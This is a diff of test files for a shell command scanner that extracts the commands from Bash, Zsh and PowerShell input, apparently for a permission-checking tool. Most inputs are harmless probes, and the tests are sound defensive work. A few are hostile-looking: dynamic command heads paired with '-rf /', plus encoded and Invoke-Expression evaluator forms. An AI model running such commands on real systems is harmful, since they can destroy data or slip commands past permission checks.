"{ printf ok; } &> output",
"(printf ok) > output",
"{ printf ok; }; X=x > output",
])("scans leading groups and their redirects without synthetic commands: %s", (source) => {
expect(ShellScan.scan(source)).toEqual({
kind: "scanned",
commands: [{ resource: "printf ok", words: ["printf", "ok"], rawWords: ["printf", "ok"] }],
})
})
test.each(["X=x >$(printf output)", ">$(printf output)", "{ :; } >$(printf output)", "(:) >$(printf output)"])(
"retains explicit substitutions in otherwise commandless redirects: %s",
(source) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0])).toEqual(
source.includes(":") ? [":", "printf"] : ["printf"],
)
expect(result.commands.at(-1)).toEqual({
resource: "printf output",
words: ["printf", "output"],
rawWords: ["printf", "output"],
})
},
)
test("scans a list following a group redirect suffix", () => {
expect(ShellScan.scan("(printf ok) >output && pwd")).toEqual({
kind: "scanned",
commands: [
{ resource: "printf ok", words: ["printf", "ok"], rawWords: ["printf", "ok"] },
{ resource: "pwd", words: ["pwd"], rawWords: ["pwd"] },
],
})
})
test("retains explicit colon commands and their redirects after a group", () => {
expect(ShellScan.scan("(printf ok); : > output")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "printf ok", words: ["printf", "ok"] },
{ resource: ": > output", words: [":"] },
],
})
})
test("does not repeatedly rescan nested conditionals", () => {
const source = Array.from({ length: 16 }).reduce<string>(
(source) => `if true; then echo $(${source}); fi`,
`printf ${"x".repeat(1024)}`,
)
expect(ShellScan.scan(source).kind).toBe("scanned")
expect(ShellScan.scan("if true; then echo $(printf safe); fi")).toMatchObject({
kind: "scanned",
commands: [
{ resource: "true", words: ["true"] },
{ resource: "echo $(printf safe)", words: ["echo", "$(printf safe)"] },
{ resource: "printf safe", words: ["printf", "safe"] },
],
})
})
test.each([
"(printf safe # ) ignored\nscan_probe)",
"{ printf safe; # } ignored\nscan_probe; }",
'echo "$(printf "\'"; scan_probe)"',
'echo "$(printf "%s" "$(printf ")")"; scan_probe)"',
])("does not lose commands through delimiter or quote confusion: %s", (source) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toContain("scan_probe")
})
})
describe("Bash real-shell differential grammar", () => {
const probes = ["scan_first", "scan_second", "scan_third"]
const words = [
"scan_first",
"'scan_first'",
's"can_"first',
"scan_first 'literal; $(not_a_command)'",
"X=value scan_first",
'X="$(scan_second)" scan_first',
'scan_first "$(scan_second)"',
"scan_first `scan_second`",
'scan_first "$(printf "\'"; scan_second)"',
]
const contexts = [
(source: string) => source,
(source: string) => `\n\n${source}\n\n`,
(source: string) => `${source}; scan_third`,
(source: string) => `${source} && scan_third`,
(source: string) => `${source} | scan_third`,
(source: string) => `(${source})`,
(source: string) => `{ ${source}; }`,
(source: string) => `scan_third "$(${source})"`,
(source: string) => `if true; then ${source}; fi`,
(source: string) => `Y="$(${source})" scan_third`,
(source: string) => `${source} >/dev/null`,
]
for (const shell of ["bash", "zsh", Bun.which("dash") ? "dash" : "sh"]) {
const executable = Bun.which(shell)
const sources = (
shell === "bash" || shell === "zsh"
? [...words, "scan_first <(scan_second)", 'values=(value "$(scan_second)"); scan_first']
: words
).flatMap((source) => contexts.map((context) => context(source)))
test.skipIf(!executable).each(sources)(`${shell}: %s`, (source) => {
const execution = Bun.spawnSync(
[
executable!,
...(shell === "bash" ? ["--noprofile", "--norc"] : shell === "zsh" ? ["-f"] : []),
"-c",
probes.map((name) => `${name}() { printf '${name}\\n' >&2; }; `).join("") + source,
],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.exitCode).toBe(0)
const observed = execution.stderr.toString().trim().split("\n")
expect(observed.length).toBeGreaterThan(0)
expect(observed.every((name) => probes.includes(name))).toBe(true)
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") throw new Error(result.reason)
for (const name of observed) expect(result.commands.map((command) => command.words[0])).toContain(name)
})
}
})
describe("Bash real-shell redirect-only statements", () => {
for (const shell of ["bash", "zsh"]) {
const executable = Bun.which(shell)
test
.skipIf(!executable)
.each([
"VALUE=ok >/dev/null; scan_probe",
">/dev/null; scan_probe",
"(scan_probe) >/dev/null",
"{ scan_probe; } >/dev/null",
"{ scan_probe; } >$(scan_target)",
"VALUE=ok >$(scan_target); scan_probe",
])(`${shell} preserves commands around redirect-only syntax: %s`, (source) => {
const execution = Bun.spawnSync(
[
executable!,
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
"-c",
`scan_probe() { printf 'scan_probe\\n' >&2; }; scan_target() { printf 'scan_target\\n' >&2; printf /dev/null; }; ${source}`,
],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.exitCode).toBe(0)
expect(execution.stdout.toString()).toBe("")
const observed = execution.stderr.toString().trim().split("\n").sort()
expect(observed).toEqual(source.includes("scan_target") ? ["scan_probe", "scan_target"] : ["scan_probe"])
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands.map((command) => command.words[0]).sort()).toEqual(observed)
})
}
})
@@ -0,0 +1,243 @@
import { describe, expect, test } from "bun:test"
import { Effect } from "effect"
import { ShellParse } from "../../src/shell/parse.js"
import { ShellScan } from "../../src/shell/scan.js"
const fixtures = [
["if true; then VALUE=$(scan_probe); fi", ["true", "scan_probe"]],
["if VALUE=$(scan_probe); then :; fi", ["scan_probe", ":"]],
["if true; then if false; then :; else scan_probe; fi; fi", ["true", "false", ":", "scan_probe"]],
["for value in one two; do if true; then scan_probe; fi; done", ["true", "scan_probe"]],
["for value in $(scan_probe); do :; done", ["scan_probe", ":"]],
["for ((i=0; i<1; i++)); do scan_probe; done", ["scan_probe"]],
["while false; do scan_probe; done; scan_after", ["false", "scan_probe", "scan_after"]],
["until true; do scan_probe; done; scan_after", ["true", "scan_probe", "scan_after"]],
["case value in value|other) scan_probe;; *) scan_after;; esac", ["scan_probe", "scan_after"]],
["case value in (value) case x in x) scan_probe;; esac;; esac", ["scan_probe"]],
["case if in if) scan_probe;; esac", ["scan_probe"]],
["case $(scan_probe) in value) :;; esac", ["scan_probe", ":"]],
["f() { case value in value) scan_probe;; esac; }; f", ["scan_probe", "f"]],
["function f { scan_probe; }; f", ["scan_probe", "f"]],
["f() (scan_probe); f", ["scan_probe", "f"]],
["printf ok; { scan_probe; } | scan_after", ["printf", "scan_probe", "scan_after"]],
["(scan_probe # ) ignored\nscan_after)", ["scan_probe", "scan_after"]],
["{ scan_probe; # } ignored\nscan_after; }", ["scan_probe", "scan_after"]],
["printf '%s' \"$(case value in value) scan_probe;; esac)\"", ["printf", "scan_probe"]],
["printf '%s' \"$(for value in one; do scan_probe; done)\"", ["printf", "scan_probe"]],
["printf '%s' \"$(printf %s case in; scan_probe)\"", ["printf", "printf", "scan_probe"]],
["cat <<EOF\nscan_ignored; $(scan_probe)\nEOF", ["cat", "scan_probe"]],
["cat <<'EOF'\nscan_ignored; $(scan_ignored)\nEOF", ["cat"]],
["cat <<\\EOF\n$(scan_ignored)\nEOF", ["cat"]],
["cat <<E'O'F\n$(scan_ignored)\nEOF", ["cat"]],
["cat <<-EOF\n\t$(scan_probe)\n\tEOF", ["cat", "scan_probe"]],
["cat <<EOF\n'$(scan_probe)'\nEOF", ["cat", "scan_probe"]],
["cat <<EOF\n\\$(scan_ignored)\nEOF", ["cat"]],
["cat <<EOF\n$(scan_probe)\nE\\\nOF\nscan_after", ["cat", "scan_probe", "scan_after"]],
["cat <<A <<'B'\n$(scan_probe)\nA\n$(scan_ignored)\nB\nscan_after", ["cat", "scan_probe", "scan_after"]],
["if cat <<EOF\n$(scan_probe)\nEOF\nthen scan_after; fi", ["cat", "scan_probe", "scan_after"]],
["printf '%s' \"$(cat <<EOF\n) $(scan_probe)\nEOF\n)\"", ["printf", "cat", "scan_probe"]],
["{ cat <<'EOF'\n} ignored\nEOF\nscan_probe; }", ["cat", "scan_probe"]],
['cat <<< "$(scan_probe)"', ["cat", "scan_probe"]],
["printf '%s' ${unset:-$(scan_probe)}", ["printf", "scan_probe"]],
["printf '%s' \"${unset:-'$(scan_probe)'}\"", ["printf", "scan_probe"]],
["printf '%s' ${unset:-'$(scan_ignored)'}", ["printf"]],
["printf '%s' \"${unset:-${other:-$(scan_probe)}}\"", ["printf", "scan_probe"]],
["printf '%s' \"${value%)}\"; scan_probe", ["printf", "scan_probe"]],
["printf '%s' \"${value//x/$(scan_probe)}\"", ["printf", "scan_probe"]],
["printf '%s' \"${array[$(scan_probe)]}\"", ["printf", "scan_probe"]],
["array[$(scan_probe)]=value; scan_after", ["scan_probe", "scan_after"]],
['array=(one "$(scan_probe)"); scan_after', ["scan_probe", "scan_after"]],
["array=(<(scan_probe)); scan_after", ["scan_probe", "scan_after"]],
["(( value = $(scan_probe) + 1 )); scan_after", ["scan_probe", "scan_after"]],
["printf '%s' $((array[$(scan_probe)] + 1))", ["printf", "scan_probe"]],
["printf '%s' $[1 + $(scan_probe)]", ["printf", "scan_probe"]],
["[[ $(scan_probe) = value ]] && scan_after", ["scan_probe", "scan_after"]],
["printf '%s' `printf \\2`; scan_probe", ["printf", "printf", "scan_probe"]],
["printf '%s' `printf \\`scan_probe\\``", ["printf", "printf", "scan_probe"]],
["printf '%s' $'literal\\\'$(scan_ignored)'; scan_probe", ["printf", "scan_probe"]],
['printf %s $"$(scan_probe)"', ["printf", "scan_probe"]],
["if true; then \\\nVALUE=$(scan_probe); fi", ["true", "scan_probe"]],
["! scan_probe", ["scan_probe"]],
["time scan_probe", ["time"]],
["{fd}>/dev/null scan_probe", ["scan_probe"]],
] as const
describe("ordinary Bash and Zsh syntax", () => {
test.each(fixtures)("extracts actual command nodes: %s", (source, names) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
for (const shell of ["bash", "zsh"]) {
const executable = Bun.which(shell)
for (const [source] of fixtures) {
// These are Bash spellings; Zsh's fd allocation is a standalone statement.
test.skipIf(
!executable ||
(shell === "zsh" && (source.includes('$"') || source.startsWith("{fd}") || source.includes("$["))),
)(`${shell} accepts the source grammar: ${source}`, () => {
const result = Bun.spawnSync([
executable ?? shell,
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
"-n",
"-c",
source + "\n:",
])
expect(result.stderr.toString()).toBe("")
// Zsh negates the skipped command's status even under NOEXEC.
expect(result.exitCode).toBe(shell === "zsh" && source.startsWith("! ") ? 1 : 0)
})
}
test
.skipIf(!executable)
.each([
"if true; then VALUE=$(scan_probe); fi",
"for value in one; do if true; then scan_probe; fi; done",
"f() { case value in value) scan_probe;; esac; }; f",
"printf '%s' \"$(case value in (value) scan_probe;; esac)\"",
"cat <<EOF\n'$(scan_probe)'\nEOF",
"cat <<A <<'B'\n$(scan_probe)\nA\n$(scan_ignored)\nB",
'cat <<< "$(scan_probe)"',
"printf '%s' \"${unset:-'$(scan_probe)'}\"",
"printf '%s' `printf \\`scan_probe\\``",
'array=(one "$(scan_probe)"); :',
"(( value = $(scan_probe) + 1 )); :",
])(`${shell} runs only the explicitly found probes: %s`, (source) => {
const execution = Bun.spawnSync(
[
executable ?? shell,
...(shell === "bash" ? ["--noprofile", "--norc"] : ["-f"]),
"-c",
`scan_probe() { printf 'scan_probe\\n' >&2; printf 1; }; scan_ignored() { printf 'unexpected\\n' >&2; }; ${source}`,
],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.exitCode).toBe(0)
expect(execution.stderr.toString()).toBe("scan_probe\n")
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.filter((command) => command.words[0] === "scan_probe")).toHaveLength(1)
expect(result.commands.some((command) => command.words[0] === "scan_ignored")).toBe(false)
})
}
test.each([
"for value in one; do",
"while true; done",
"case value in x) echo ok",
"cat <<EOF\nunclosed",
"echo ${missing",
"echo $'missing",
])("rejects incomplete syntax: %s", (source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
})
test("preserves raw lexical spelling of ANSI-C and locale quoted words", () => {
expect(ShellScan.scan("$'pri\\x6etf' $'line\\n' $\"text\"")).toMatchObject({
kind: "scanned",
commands: [{ words: ["printf", "line\n", "text"], rawWords: ["$'pri\\x6etf'", "$'line\\n'", '$"text"'] }],
})
})
test.each([
["coproc job { scan_probe; }", ["scan_probe"]],
["printf '%s' @(one|$(scan_probe))", ["printf", "scan_probe"]],
["printf '%s' $((1 + '$(scan_probe)'))", ["printf", "scan_probe"]],
["printf '%s' $(((1 + '$(scan_probe)')))", ["printf", "scan_probe"]],
['printf %s "${ scan_probe; }"', ["printf", "scan_probe"]],
['printf %s "${|scan_probe; }"', ["printf", "scan_probe"]],
] as const)("retains explicit substitutions without evaluating expressions: %s", (source, names) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
})
})
describe("Bash shared heredoc delimiter grammar", () => {
test.each([
'(cat <<"E\\OF"\nhello\nE\\OF\n)',
'cat <<"E\\$OF"\nhello\nE$OF',
'(cat <<"E\\$OF"\nhello\nE$OF\n)',
'(cat <<-"E\\OF"\n\thello\n\tE\\OF\n)',
])("preserves heredoc permission resources and saved prefixes: %s", async (source) => {
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
expect(await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))).toEqual(legacy)
})
test.each([
["cat <<< hello\nprintf done", ["cat", "printf"]],
["(cat <<< hello\nprintf done)", ["cat", "printf"]],
['printf %s "$(cat <<< hello\nprintf done)"', ["printf", "cat", "printf"]],
['(cat <<< "$(printf hello)"\nprintf done)', ["cat", "printf", "printf"]],
] as const)("does not reinterpret the tail of a here-string operator: %s", async (source, names) => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toEqual([...names])
const legacy = await Effect.runPromise(ShellParse.scan(source, "/bin/bash", "/workspace"))
expect(await Effect.runPromise(ShellParse.scanPortable(source, "/bin/bash", "/workspace"))).toEqual(legacy)
})
test.each([
['<<"E\\OF"', "E\\OF", true, false],
['<<"E\\$OF"', "E$OF", true, false],
['<<"E\\`OF"', "E`OF", true, false],
['<<"E\\\"OF"', 'E"OF', true, false],
['<<"E\\\\OF"', "E\\OF", true, false],
["<<'E\\OF'", "E\\OF", true, false],
["<<E\\OF", "EOF", true, false],
["<<''", "", true, false],
["<<$'E\\x4fF'", "EOF", true, false],
["<<EO\\\nF", "EOF", false, false],
["<<-EOF", "EOF", false, true],
['<<-"E\\OF"', "E\\OF", true, true],
] as const)("uses identical delimiter decoding in every command context: %j", (header, delimiter, quoted, tabs) => {
const body = `cat ${header}\n${tabs ? "\t" : ""}$(printf probe)\n${tabs ? "\t" : ""}${delimiter}`
for (const source of [body + "\nprintf done", `(${body}\nprintf done)`, `printf %s "$(${body}\nprintf done)"`]) {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.map((command) => command.words[0])).toEqual([
...(source.startsWith("printf") ? ["printf"] : []),
"cat",
...(quoted ? [] : ["printf"]),
"printf",
])
expect(result.commands.find((command) => command.words[0] === "cat")).toEqual({
resource: body.trim(),
words: ["cat"],
rawWords: ["cat"],
})
if (!quoted) expect(result.commands.some((command) => command.resource === "printf probe")).toBe(true)
}
})
const bash = Bun.which("bash")
test
.skipIf(!bash)
.each([
"(cat <<< hello\nprintf done)",
'printf %s "$(cat <<< hello\nprintf done)"',
'(cat <<"E\\OF"\n$(scan_probe)\nE\\OF\nprintf done)',
'(cat <<"E\\$OF"\n$(scan_probe)\nE$OF\nprintf done)',
"(cat <<''\n$(scan_probe)\n\nprintf done)",
"(cat <<$'E\\x4fF'\n$(scan_probe)\nEOF\nprintf done)",
'(cat <<-"E\\OF"\n\t$(scan_probe)\n\tE\\OF\nprintf done)',
"(cat <<EO\\\nF\n$(scan_probe)\nEOF\nprintf done)",
])("real Bash agrees with delimiter quoting: %s", (source) => {
const execution = Bun.spawnSync(
[bash!, "--noprofile", "--norc", "-c", `scan_probe() { printf 'executed\\n' >&2; }; ${source}`],
{ env: { PATH: "/usr/bin:/bin", LC_ALL: "C" } },
)
expect(execution.exitCode).toBe(0)
expect(execution.stderr.toString()).toBe(source.includes("<<EO\\\nF") ? "executed\n" : "")
expect(execution.stdout.toString()).toBe(
source.includes("<<<") ? "hello\ndone" : source.includes("<<EO\\\nF") ? "\ndone" : "$(scan_probe)\ndone",
)
})
})
+17 -1
View File
@@ -1,7 +1,7 @@
import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
const opaque = ["$COMMAND hidden", "$(printf command) hidden", 'printf "unterminated'] as const
const opaque = ['printf "unterminated'] as const
const contexts = [
(source: string) => source,
(source: string) => `${source}; printf visible`,
@@ -29,3 +29,19 @@ describe("ShellScan quote suppression", () => {
expect(ShellScan.scan(`printf '%s' '${source.replaceAll("'", "")}'`).kind).toBe("scanned")
})
})
describe("ShellScan recursive parameter expansion coverage", () => {
for (const seed of ["${COMMAND:-hidden}", "$(printf ${value:-command}) hidden"]) {
for (const outer of contexts) {
for (const inner of contexts.slice(0, 5)) {
const source = outer(inner(seed))
test(source, () => {
const result = ShellScan.scan(source)
expect(result.kind).toBe("scanned")
if (result.kind !== "scanned") throw new Error(result.reason)
expect(result.commands.some((command) => command.resource === seed)).toBe(true)
})
}
}
}
})
+34 -22
View File
@@ -14,7 +14,7 @@ describe("ShellScan generated properties", () => {
for (const [left, leftWords] of staticCommands) {
for (const separator of separators) {
for (const [right, rightWords] of staticCommands) {
expect(ShellScan.scan(left + separator + right)).toEqual({
expect(ShellScan.scan(left + separator + right)).toMatchObject({
kind: "scanned",
commands: [
{ resource: left, words: [...leftWords] },
@@ -35,7 +35,7 @@ describe("ShellScan generated properties", () => {
])
for (const form of forms) {
expect(ShellScan.scan(`printf %s ${form.source}`)).toEqual({
expect(ShellScan.scan(`printf %s ${form.source}`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `printf %s ${form.source}`, words: ["printf", "%s", form.word] }],
})
@@ -59,19 +59,24 @@ describe("ShellScan generated properties", () => {
}
})
test("fails closed for generated dynamic command heads", () => {
test("retains generated dynamic command heads without resolving them", () => {
const heads = ["$COMMAND", "${COMMAND}", "pre$COMMAND", '"$COMMAND"', "$(printf git)", "`printf git`"]
const tails = ["status", "--version", "-rf /"]
for (const head of heads) {
for (const tail of tails) expect(ShellScan.scan(`${head} ${tail}`).kind).toBe("opaque")
for (const tail of tails) {
const result = ShellScan.scan(`${head} ${tail}`)
expect(result.kind).toBe("scanned")
if (result.kind === "opaque") return
expect(result.commands[0]?.rawWords[0]).toBe(head)
expect(result.commands[0]?.words[0]).toBe(head.replaceAll('"', ""))
}
}
})
test("keeps wrappers and shell evaluators at their delegated boundary", () => {
const prefixes = ["", "FOO=bar ", "FOO=bar BAR=baz "]
const wrapped = [
"time git status",
"command git status",
"builtin printf ok",
"exec git status",
@@ -90,6 +95,7 @@ describe("ShellScan generated properties", () => {
for (const prefix of prefixes) {
for (const command of wrapped) expect(ShellScan.scan(prefix + command).kind).toBe("scanned")
expect(ShellScan.scan(`${prefix}time git status`).kind).toBe("scanned")
}
})
})
@@ -106,7 +112,7 @@ describe("ShellScan generated PowerShell properties", () => {
for (const [left, leftWords] of commands) {
for (const separator of separators) {
for (const [right, rightWords] of commands) {
expect(ShellScan.scanPowerShell(left + separator + right)).toEqual({
expect(ShellScan.scanPowerShell(left + separator + right)).toMatchObject({
kind: "scanned",
commands: [
{ resource: left, words: [...leftWords] },
@@ -127,14 +133,7 @@ describe("ShellScan generated PowerShell properties", () => {
])
for (const form of forms) {
if (form.source.startsWith("left`") && ";|&".includes(form.word[4] ?? "")) {
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
kind: "opaque",
reason: "invalid-structure",
})
continue
}
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toEqual({
expect(ShellScan.scanPowerShell(`Write-Output ${form.source}`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `Write-Output ${form.source}`, words: ["Write-Output", form.word] }],
})
@@ -154,10 +153,11 @@ describe("ShellScan generated PowerShell properties", () => {
for (const command of mutations) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
})
test("distinguishes dynamic heads from delegated execution", () => {
const dynamic = ["$Command status", "${Command} status", "& $Command status"]
test("distinguishes variable expressions from delegated execution", () => {
const expressions = ["$Command", "${Command}"]
const delegated = [
"& git status",
"& $Command status",
". ./script.ps1",
"Invoke-Expression 'git status'",
"iex 'git status'",
@@ -167,7 +167,8 @@ describe("ShellScan generated PowerShell properties", () => {
const shells = ["powershell", "powershell.exe", "pwsh", "pwsh.exe"]
const switches = ["-Command", "-c", "-EncodedCommand", "-e", "-File", "-f"]
for (const command of dynamic) expect(ShellScan.scanPowerShell(command).kind).toBe("opaque")
for (const command of expressions)
expect(ShellScan.scanPowerShell(command)).toEqual({ kind: "scanned", commands: [] })
for (const command of delegated) expect(ShellScan.scanPowerShell(command).kind).toBe("scanned")
for (const shell of shells) {
for (const flag of switches) {
@@ -176,14 +177,25 @@ describe("ShellScan generated PowerShell properties", () => {
}
})
test("fails closed for dynamic location changes but accepts known directory variables", () => {
test("extracts nested commands in directory expressions without evaluating variables", () => {
const locations = ["Set-Location", "cd", "chdir", "sl", "Push-Location"]
const dynamic = ["$target", "$(Resolve-Path ..)", "(Resolve-Path ..)"]
const known = ["$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
const expressions = ["$(Resolve-Path ..)", "(Resolve-Path ..)"]
const variables = ["$target", "$PWD/project", "$HOME/project", "$PSHOME/Modules", "$env:TEMP/project"]
for (const location of locations) {
for (const target of dynamic) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("opaque")
for (const target of known) expect(ShellScan.scanPowerShell(`${location} ${target}`).kind).toBe("scanned")
for (const target of expressions)
expect(ShellScan.scanPowerShell(`${location} ${target}`)).toMatchObject({
kind: "scanned",
commands: [
{ resource: `${location} ${target}`, words: [location, target] },
{ resource: "Resolve-Path ..", words: ["Resolve-Path", ".."] },
],
})
for (const target of variables)
expect(ShellScan.scanPowerShell(`${location} ${target}`)).toMatchObject({
kind: "scanned",
commands: [{ resource: `${location} ${target}`, words: [location, target] }],
})
}
})
})
+12 -23
View File
@@ -2,28 +2,17 @@ import { describe, expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
describe("ShellScan structural mutation closure", () => {
test.each([
"$COMMAND status",
"${COMMAND} status",
'"$COMMAND" status',
"$(printf git) status",
"`printf git` status",
'printf "unterminated',
"printf ok &&",
"| printf ok",
"printf ok >",
])("keeps unknowable or malformed Bash input opaque: %s", (source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
})
test.each(['printf "unterminated', "printf ok &&", "| printf ok", "printf ok >"])(
"keeps malformed Bash input opaque: %s",
(source) => {
expect(ShellScan.scan(source).kind).toBe("opaque")
},
)
test.each([
"$Command status",
"${Command} status",
"& $Command status",
"Write-Output ok`",
'Write-Output "unterminated',
"Get-ChildItem |",
])("keeps unknowable or malformed PowerShell input opaque: %s", (source) => {
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
})
test.each(["Write-Output ok`", 'Write-Output "unterminated', "Get-ChildItem |"])(
"keeps incomplete PowerShell input opaque: %s",
(source) => {
expect(ShellScan.scanPowerShell(source).kind).toBe("opaque")
},
)
})
@@ -0,0 +1,376 @@
import { expect, test } from "bun:test"
import { ShellScan } from "../../src/shell/scan.js"
const pwsh = process.env.SHELL_SCAN_PWSH ?? Bun.which("pwsh")
const fixtures = [
...[
"$result = Invoke-ProbeA; Invoke-ProbeB",
"$result = (Invoke-ProbeA); Invoke-ProbeB",
"[string]$result = Invoke-ProbeA; Invoke-ProbeB",
"if (Invoke-ProbeA) { Invoke-ProbeB } else { Invoke-ProbeC }",
"foreach ($item in (Invoke-ProbeA)) { Invoke-ProbeB }",
"foreach ($item in Invoke-ProbeA) { Invoke-ProbeB }",
"for ($i=0; $i -lt 2; $i++) { Invoke-ProbeB }",
"while (Invoke-ProbeA) { Invoke-ProbeB; break }",
"do { Invoke-ProbeB } until ($true)",
"function Get-Probe { param($x); Invoke-ProbeB }; Invoke-ProbeA",
"function Get-Probe($x = (Invoke-ProbeA)) { Invoke-ProbeB }",
"try { Invoke-ProbeA } catch { Invoke-ProbeB } finally { Invoke-ProbeC }",
"$x = @{ first = Invoke-ProbeA; second = @(Invoke-ProbeB; Invoke-ProbeC) }",
"Invoke-ProbeA @(Invoke-ProbeB; Invoke-ProbeC)",
'Invoke-ProbeA "$(Invoke-ProbeB "$(Invoke-ProbeC)")"',
"Invoke-ProbeA <# <# ignored } #> #> literal; Invoke-ProbeB",
'& "Inv`oke-ProbeA"; Invoke-ProbeB',
'Invoke-ProbeBlock { & "Invoke-ProbeA" literal#value; Invoke-ProbeB }',
'Invoke-ProbeBlock { . "Invoke-ProbeA" literal#value; Invoke-ProbeB }',
"Invoke-ProbeBlock { ${probe}# ignored\nInvoke-ProbeB }",
"Invoke-ProbeBlock { $result = Invoke-ProbeA literal#value; Invoke-ProbeB }",
"Invoke-ProbeA $probe[$(Invoke-ProbeB)]",
'Invoke-ProbeA "tab`tnewline`n`u{0041}"; Invoke-ProbeB',
"Invoke-ProbeA |\n\n# comment\nForEach-Object { Invoke-ProbeB }",
],
...[
"1",
"+1",
"-1",
".1",
"0x1",
"0b1",
"1L",
"1kb",
"1.0",
"1+1",
"1..2",
"-not 1",
"-bnot 1",
"!1",
"!!1",
",1",
"-join 1",
"\u2013not 1",
"\u2014not 1",
"\u2015not 1",
"\u2013join 1",
"\u2014join 1",
"\u2015join 1",
"'x' -eq 1",
'"x" -eq 1',
"{} -eq 1",
].flatMap((expression) => [
`${expression}#'\nInvoke-ProbeB\n#'`,
`Invoke-ProbeBlock { ${expression}#} '\nInvoke-ProbeB\n} #'`,
]),
...[
"$null",
"$probe",
"$HOME",
"${probe}",
"$env:PATH",
"$true",
"$false",
"1",
"1.0",
"1kb",
"0x1",
"-1",
"x2>&1",
"x6>&1",
">$null",
"> $null",
"'x'>$null",
].flatMap((prefix) => [
`Invoke-ProbeA ${prefix}#'\nInvoke-ProbeB\n#'`,
`Invoke-ProbeBlock { Invoke-ProbeA ${prefix}#} '\nInvoke-ProbeB\n} #'`,
]),
...[" ", "\t", "\v", "\f", "\u0085", "\u00a0", "\u2000", "\u2028", "\u2029", "\ufeff"].flatMap((space) => [
`Invoke-ProbeA \`${space}#'\nInvoke-ProbeB\n#'`,
`Invoke-ProbeBlock { Invoke-ProbeA 2>&1\`${space}#} '\nInvoke-ProbeB\n} #'`,
]),
...Array.from({ length: 2048 }, (_, index) => {
const tokens = [
"x",
" ",
"\t",
"\r",
"\n",
";",
"|",
"'",
'"',
"''",
'""',
"#",
"--%",
"`",
"{",
"}",
"2>&1",
"Invoke-ProbeC",
]
let seed = index + 1
const body = Array.from({ length: 8 }, () => {
seed = (Math.imul(seed, 1664525) + 1013904223) >>> 0
return tokens[(seed >>> 16) % tokens.length]
}).join("")
return index % 2
? `Invoke-ProbeA ${body}\nInvoke-ProbeB\n# '`
: `Invoke-ProbeBlock { Invoke-ProbeA ${body}\nInvoke-ProbeB\n} # '`
}),
...["&", "."].flatMap((operator) =>
["'Invoke-ProbeA'", '"Invoke-ProbeA"'].flatMap((head) =>
["argument", "'argument'", '"argument"', "#ignored", "--% '"].map(
(tail) => `${operator} ${head}${tail}\nInvoke-ProbeB\n# '`,
),
),
),
...["'", '"', "\u2018", "\u2019", "\u201c", "\u201d"].flatMap((open) =>
["'", '"', "\u2018", "\u2019", "\u201c", "\u201d"].flatMap((close) =>
["", "literal", "`", "'", '"', "''", '""', "{", "}", "#", "--%", "$(Invoke-ProbeB)"].flatMap((content) => [
`Invoke-ProbeA ${open}${content}${close}; Invoke-ProbeB; Invoke-ProbeC '${content}'`,
`Invoke-ProbeBlock { Invoke-ProbeA ${open}${content}${close}; Invoke-ProbeB }; Invoke-ProbeC '${content}'`,
]),
),
),
...["", "literal", "'quoted'", '"quoted"', "{}"].flatMap((prefix) =>
["#ignored", "<#ignored#>", "--% 'ignored", '--% "ignored'].flatMap((tail) =>
[";", "|", "\r", "\n", "\r\n"].map(
(separator) => `Invoke-ProbeA ${prefix}${tail}${separator}Invoke-ProbeB${separator}Invoke-ProbeC`,
),
),
),
...["''", "'x'", '"x"', "{}", "2>&1", "6>&1", "*>&1", "plain", "plain'quoted'"].flatMap((prefix) =>
["#", "--%", "--% ", "<# #>#"].flatMap((suffix) =>
["\r", "\n", "\r\n"].flatMap((newline) => [
`Invoke-ProbeA ${prefix}${suffix}'${newline}Invoke-ProbeB${newline}# '`,
`Invoke-ProbeA ${prefix}${suffix}\"${newline}Invoke-ProbeB${newline}# \"`,
`Invoke-ProbeBlock { Invoke-ProbeA ${prefix}${suffix}} '${newline}Invoke-ProbeB${newline}} # '`,
]),
),
),
...[
...Array.from({ length: 33 }, (_, index) => String.fromCharCode(index)),
"\u0085",
"\u00a0",
"\u1680",
"\u2000",
"\u2028",
"\u2029",
"\u202f",
"\u205f",
"\u3000",
"\ufeff",
].flatMap((space) => [
`Invoke-ProbeA${space}argument; Invoke-ProbeB`,
